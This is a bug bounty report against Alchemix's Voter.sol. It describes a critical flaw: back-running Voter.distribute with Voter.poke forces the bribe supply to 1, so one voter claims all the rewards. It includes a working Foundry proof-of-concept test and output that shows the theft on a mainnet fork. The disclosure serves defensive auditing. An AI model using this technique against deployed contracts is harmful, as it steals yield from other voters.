31249 - [SC - Critical] malicious user can back-run Voterdistribute to ...
Submitted on May 15th 2024 at 19:58:42 UTC by @jasonxiale for Boost | Alchemix
Report ID: #31249
Report type: Smart Contract
Report severity: Critical
Target: https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol
Impacts:
Theft of unclaimed yield
Description
Brief/Intro
In current implementation, Voter.distribute is used to distribute ALCX among gauges, during the call there is an issue that a malicious user can back-run Voter.distribute to steal reards.
Vulnerability Details
During the Voter.distribute function, Voter._distribute is called, and at the end of Voter._distribute, IBribe.resetVoting is called at [https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Voter.sol#L377] IBribe.resetVoting is defined as:
345 /// @inheritdoc IBribe
346 function resetVoting() external {
347 require(msg.sender == voter);
348 totalVoting = 0;
349 }So it means that after calling Voter.distribute, Bribe.totalVoting will be set to 0.
Then in Bribe.earned, Bribe.totalVoting is used in Bribe.sol#L257-L261 and Bribe.sol#L268-L277. One thing to note is that:
270 // Prevent divide by zero
271 if (_priorSupply == 0) {
272 _priorSupply = 1;
273 }So it means that if _priorSupply will be set to 1 if it's 0. And reward depends on _priorSupply as:
reward += (cp.balanceOf * tokenRewardsPerEpoch[token][_lastEpochStart]) / _priorSupply;To sum up:
During
Voter.distribute,Bribe.totalVotingwill be set to 0Bribe.earneddepends ofBribe.totalVotingto calculate the amount of rewards. And if we can force_priorSupplyto 1 while calculating the rewards, we will make more profilt. We can useVoter.poketo update thecheckpointafterVoter.distribute.
Impact Details
In current implementation, Voter.distribute is used to distribute ALCX among gauges, during the call there is an issue that a malicious user can back-run Voter.distribute to steal reards.
References
Add any relevant links to documentation or code
Proof of Concept
put the follow code in src/test/Voting.t.sol and run
FOUNDRY_PROFILE=default forge test --fork-url https://eth-mainnet.alchemyapi.io/v2/$API_KEY --fork-block-number 17133822 --mc VotingTest --mt testAliceEpochRewards -vv
[⠊] Compiling...
No files changed, compilation skipped
Ran 2 tests for src/test/Voting.t.sol:VotingTest
[PASS] testAliceEpochRewardsNoPoke() (gas: 6888013)
Logs:
earned : 33333333333333333333333
earned : 33333333333333333333333
bal.balanceOf(Alice) : 33333333333333333333333
bal.balanceOf(Bob) : 0
[PASS] testAliceEpochRewardsPoke() (gas: 6969463)
Logs:
earned : 100000000000000000000000
earned : 100000000000000000000000
bal.balanceOf(Alice) : 100000000000000000000000
bal.balanceOf(Bob) : 0
Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 86.68ms (116.98ms CPU time)As we can from above, if Alice doesn't call Voter.poke after Voter.distribute, Alice will receive 33333333333333333333333 bal rewards.
And if Alice calls Voter.poke after Voter.distribute, Alice will receive 100000000000000000000000 bal rewards.
function testAliceEpochRewardsPoke() public {
uint256 period = minter.activePeriod();
hevm.warp(period + nextEpoch);
hevm.roll(block.number + 1);
deal(address(alcx), address(voter), TOKEN_100K);
hevm.prank(address(voter));
sushiGauge.notifyRewardAmount(TOKEN_100K);
address Alice = address(0x11001100);
address Bob = address(0x22002200);
address Chris = address(0x33003300);
// Create a veALCX token and vote to trigger voter rewards
uint256 tokenId1 = createVeAlcx(Alice, TOKEN_1, MAXTIME, false);
uint256 tokenId2 = createVeAlcx(Bob, TOKEN_1, MAXTIME, false);
uint256 tokenId3 = createVeAlcx(Chris, TOKEN_1, MAXTIME, false);
address[] memory pools = new address[](1);
pools[0] = sushiPoolAddress;
uint256[] memory weights = new uint256[](1);
weights[0] = 5000;
address[] memory gauges = new address[](1);
gauges[0] = address(sushiGauge);
hevm.prank(Alice);
voter.vote(tokenId1, pools, weights, 0);
hevm.prank(Bob);
voter.vote(tokenId2, pools, weights, 0);
hevm.prank(Chris);
voter.vote(tokenId3, pools, weights, 0);
address bribeAddress = voter.bribes(address(sushiGauge));
createThirdPartyBribe(bribeAddress, bal, TOKEN_100K);
voter.distribute();
hevm.prank(Alice);
voter.poke(tokenId1);
hevm.warp(block.timestamp + nextEpoch);
address[] memory bribes = new address[](1);
bribes[0] = bribeAddress;
address[][] memory tokens = new address[][](1);
tokens[0] = new address[](1);
tokens[0][0] = bal;
console2.log("earned :", IBribe(bribeAddress).earned(address(bal), tokenId1));
console2.log("earned :", IBribe(bribeAddress).earned(address(bal), tokenId2));
hevm.prank(Alice);
voter.claimBribes(bribes, tokens, tokenId1);
console2.log("bal.balanceOf(Alice) :", IERC20(bal).balanceOf(Alice));
console2.log("bal.balanceOf(Bob) :", IERC20(bal).balanceOf(Bob));
}
function testAliceEpochRewardsNoPoke() public {
uint256 period = minter.activePeriod();
hevm.warp(period + nextEpoch);
hevm.roll(block.number + 1);
deal(address(alcx), address(voter), TOKEN_100K);
hevm.prank(address(voter));
sushiGauge.notifyRewardAmount(TOKEN_100K);
address Alice = address(0x11001100);
address Bob = address(0x22002200);
address Chris = address(0x33003300);
// Create a veALCX token and vote to trigger voter rewards
uint256 tokenId1 = createVeAlcx(Alice, TOKEN_1, MAXTIME, false);
uint256 tokenId2 = createVeAlcx(Bob, TOKEN_1, MAXTIME, false);
uint256 tokenId3 = createVeAlcx(Chris, TOKEN_1, MAXTIME, false);
address[] memory pools = new address[](1);
pools[0] = sushiPoolAddress;
uint256[] memory weights = new uint256[](1);
weights[0] = 5000;
address[] memory gauges = new address[](1);
gauges[0] = address(sushiGauge);
hevm.prank(Alice);
voter.vote(tokenId1, pools, weights, 0);
hevm.prank(Bob);
voter.vote(tokenId2, pools, weights, 0);
hevm.prank(Chris);
voter.vote(tokenId3, pools, weights, 0);
address bribeAddress = voter.bribes(address(sushiGauge));
createThirdPartyBribe(bribeAddress, bal, TOKEN_100K);
voter.distribute();
hevm.warp(block.timestamp + nextEpoch);
address[] memory bribes = new address[](1);
bribes[0] = bribeAddress;
address[][] memory tokens = new address[][](1);
tokens[0] = new address[](1);
tokens[0][0] = bal;
console2.log("earned :", IBribe(bribeAddress).earned(address(bal), tokenId1));
console2.log("earned :", IBribe(bribeAddress).earned(address(bal), tokenId2));
hevm.prank(Alice);
voter.claimBribes(bribes, tokens, tokenId1);
console2.log("bal.balanceOf(Alice) :", IERC20(bal).balanceOf(Alice));
console2.log("bal.balanceOf(Bob) :", IERC20(bal).balanceOf(Bob));
}Last updated
Was this helpful?